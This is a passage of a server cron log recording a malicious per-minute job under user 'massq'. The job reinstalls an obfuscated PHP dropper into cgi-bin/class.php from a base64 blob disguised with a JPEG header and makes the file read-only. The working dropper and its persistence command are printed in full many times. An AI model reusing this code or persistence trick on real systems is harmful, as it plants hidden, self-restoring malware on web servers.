&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:20:01 server CROND[23122]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 19:20:01 server CROND[23121]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 19:20:01 server CROND[23120]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 19:20:01 server CROND[23124]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 19:20:01 server CROND[23123]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:21:01 server CROND[23625]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:22:01 server CROND[24513]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:23:01 server CROND[25377]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:24:01 server CROND[26217]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:25:01 server CROND[27100]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 19:25:01 server CROND[27101]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:25:01 server CROND[27102]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 19:26:01 server CROND[28131]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:27:01 server CROND[28994]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 19:27:01 server CROND[28997]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:28:01 server CROND[29894]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:29:01 server CROND[30524]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:30:01 server CROND[31475]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 19:30:01 server CROND[31476]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 19:30:01 server CROND[31477]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 19:30:01 server CROND[31479]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 19:31:01 server CROND[32443]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
